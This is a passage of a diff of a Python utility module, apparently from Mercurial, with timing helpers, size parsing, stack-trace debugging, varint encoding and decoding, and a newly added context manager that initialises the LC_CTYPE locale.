     (1, 0.000000001, _(b'%.3f ns')),
 )
 
 
 @attr.s
 class timedcmstats(object):
     """Stats information produced by the timedcm context manager on entering."""
 
     # the starting value of the timer as a float (meaning and resulution is
     # platform dependent, see util.timer)
     start = attr.ib(default=attr.Factory(lambda: timer()))
     # the number of seconds as a floating point value; starts at 0, updated when
     # the context is exited.
     elapsed = attr.ib(default=0)
     # the number of nested timedcm context managers.
     level = attr.ib(default=1)
 
     def __bytes__(self):
         return timecount(self.elapsed) if self.elapsed else b'<unknown>'
 
     __str__ = encoding.strmethod(__bytes__)
 
 
 @contextlib.contextmanager
 def timedcm(whencefmt, *whenceargs):
     """A context manager that produces timing information for a given context.
 
     On entering a timedcmstats instance is produced.
 
     This context manager is reentrant.
 
     """
     # track nested context managers
     timedcm._nested += 1
     timing_stats = timedcmstats(level=timedcm._nested)
     try:
         with tracing.log(whencefmt, *whenceargs):
             yield timing_stats
     finally:
         timing_stats.elapsed = timer() - timing_stats.start
         timedcm._nested -= 1
 
 
 timedcm._nested = 0
 
 
 def timed(func):
     '''Report the execution time of a function call to stderr.
 
     During development, use as a decorator when you need to measure
     the cost of a function, e.g. as follows:
 
     @util.timed
     def foo(a, b, c):
         pass
     '''
 
     def wrapper(*args, **kwargs):
         with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
             result = func(*args, **kwargs)
         stderr = procutil.stderr
         stderr.write(
             b'%s%s: %s\n'
             % (
                 b' ' * time_stats.level * 2,
                 pycompat.bytestr(func.__name__),
                 time_stats,
             )
         )
         return result
 
     return wrapper
 
 
 _sizeunits = (
     (b'm', 2 ** 20),
     (b'k', 2 ** 10),
     (b'g', 2 ** 30),
     (b'kb', 2 ** 10),
     (b'mb', 2 ** 20),
     (b'gb', 2 ** 30),
     (b'b', 1),
 )
 
 
 def sizetoint(s):
     '''Convert a space specifier to a byte count.
 
     >>> sizetoint(b'30')
     30
     >>> sizetoint(b'2.2kb')
     2252
     >>> sizetoint(b'6M')
     6291456
     '''
     t = s.strip().lower()
     try:
         for k, u in _sizeunits:
             if t.endswith(k):
                 return int(float(t[: -len(k)]) * u)
         return int(t)
     except ValueError:
         raise error.ParseError(_(b"couldn't parse size: %s") % s)
 
 
 class hooks(object):
     '''A collection of hook functions that can be used to extend a
     function's behavior. Hooks are called in lexicographic order,
     based on the names of their sources.'''
 
     def __init__(self):
         self._hooks = []
 
     def add(self, source, hook):
         self._hooks.append((source, hook))
 
     def __call__(self, *args):
         self._hooks.sort(key=lambda x: x[0])
         results = []
         for source, hook in self._hooks:
             results.append(hook(*args))
         return results
 
 
 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
     '''Yields lines for a nicely formatted stacktrace.
     Skips the 'skip' last entries, then return the last 'depth' entries.
     Each file+linenumber is formatted according to fileline.
     Each line is formatted according to line.
     If line is None, it yields:
       length of longest filepath+line number,
       filepath+linenumber,
       function
 
     Not be used in production code but very convenient while developing.
     '''
     entries = [
         (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
         for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
     ][-depth:]
     if entries:
         fnmax = max(len(entry[0]) for entry in entries)
         for fnln, func in entries:
             if line is None:
                 yield (fnmax, fnln, func)
             else:
                 yield line % (fnmax, fnln, func)
 
 
 def debugstacktrace(
     msg=b'stacktrace',
     skip=0,
     f=procutil.stderr,
     otherf=procutil.stdout,
     depth=0,
     prefix=b'',
 ):
     '''Writes a message to f (stderr) with a nicely formatted stacktrace.
     Skips the 'skip' entries closest to the call, then show 'depth' entries.
     By default it will flush stdout first.
     It can be used everywhere and intentionally does not require an ui object.
     Not be used in production code but very convenient while developing.
     '''
     if otherf:
         otherf.flush()
     f.write(b'%s%s at:\n' % (prefix, msg.rstrip()))
     for line in getstackframes(skip + 1, depth=depth):
         f.write(prefix + line)
     f.flush()
 
 
 # convenient shortcut
 dst = debugstacktrace
 
 
 def safename(f, tag, ctx, others=None):
     """
     Generate a name that it is safe to rename f to in the given context.
 
     f:      filename to rename
     tag:    a string tag that will be included in the new name
     ctx:    a context, in which the new name must not exist
     others: a set of other filenames that the new name must not be in
 
     Returns a file name of the form oldname~tag[~number] which does not exist
     in the provided context and is not in the set of other names.
     """
     if others is None:
         others = set()
 
     fn = b'%s~%s' % (f, tag)
     if fn not in ctx and fn not in others:
         return fn
     for n in itertools.count(1):
         fn = b'%s~%s~%s' % (f, tag, n)
         if fn not in ctx and fn not in others:
             return fn
 
 
 def readexactly(stream, n):
     '''read n bytes from stream.read and abort if less was available'''
     s = stream.read(n)
     if len(s) < n:
         raise error.Abort(
             _(b"stream ended unexpectedly (got %d bytes, expected %d)")
             % (len(s), n)
         )
     return s
 
 
 def uvarintencode(value):
     """Encode an unsigned integer value to a varint.
 
     A varint is a variable length integer of 1 or more bytes. Each byte
     except the last has the most significant bit set. The lower 7 bits of
     each byte store the 2's complement representation, least significant group
     first.
 
     >>> uvarintencode(0)
     '\\x00'
     >>> uvarintencode(1)
     '\\x01'
     >>> uvarintencode(127)
     '\\x7f'
     >>> uvarintencode(1337)
     '\\xb9\\n'
     >>> uvarintencode(65536)
     '\\x80\\x80\\x04'
     >>> uvarintencode(-1)
     Traceback (most recent call last):
         ...
     ProgrammingError: negative value for uvarint: -1
     """
     if value < 0:
         raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
     bits = value & 0x7F
     value >>= 7
     bytes = []
     while value:
         bytes.append(pycompat.bytechr(0x80 | bits))
         bits = value & 0x7F
         value >>= 7
     bytes.append(pycompat.bytechr(bits))
 
     return b''.join(bytes)
 
 
 def uvarintdecodestream(fh):
     """Decode an unsigned variable length integer from a stream.
 
     The passed argument is anything that has a ``.read(N)`` method.
 
     >>> try:
     ...     from StringIO import StringIO as BytesIO
     ... except ImportError:
     ...     from io import BytesIO
     >>> uvarintdecodestream(BytesIO(b'\\x00'))
     0
     >>> uvarintdecodestream(BytesIO(b'\\x01'))
     1
     >>> uvarintdecodestream(BytesIO(b'\\x7f'))
     127
     >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
     1337
     >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
     65536
     >>> uvarintdecodestream(BytesIO(b'\\x80'))
     Traceback (most recent call last):
         ...
     Abort: stream ended unexpectedly (got 0 bytes, expected 1)
     """
     result = 0
     shift = 0
     while True:
         byte = ord(readexactly(fh, 1))
         result |= (byte & 0x7F) << shift
         if not (byte & 0x80):
             return result
         shift += 7
+
+
+# Passing the '' locale means that the locale should be set according to the
+# user settings (environment variables).
+# Python sometimes avoids setting the global locale settings. When interfacing
+# with C code (e.g. the curses module or the Subversion bindings), the global
+# locale settings must be initialized correctly. Python 2 does not initialize
+# the global locale settings on interpreter startup. Python 3 sometimes
+# initializes LC_CTYPE, but not consistently at least on Windows. Therefore we
+# explicitly initialize it to get consistent behavior if it's not already
+# initialized. Since CPython commit 177d921c8c03d30daa32994362023f777624b10d,
+# LC_CTYPE is always initialized. If we require Python 3.8+, we should re-check
+# if we can remove this code.
[e-mail]
+def with_lc_ctype():
+    oldloc = locale.setlocale(locale.LC_CTYPE, None)
+    if oldloc == 'C':
+        try:
+            try:
+                locale.setlocale(locale.LC_CTYPE, '')
+            except locale.Error:
+                # The likely case is that the locale from the environment
+                # variables is unknown.
+                pass
+            yield
+        finally:
+            locale.setlocale(locale.LC_CTYPE, oldloc)
+    else:
+        yield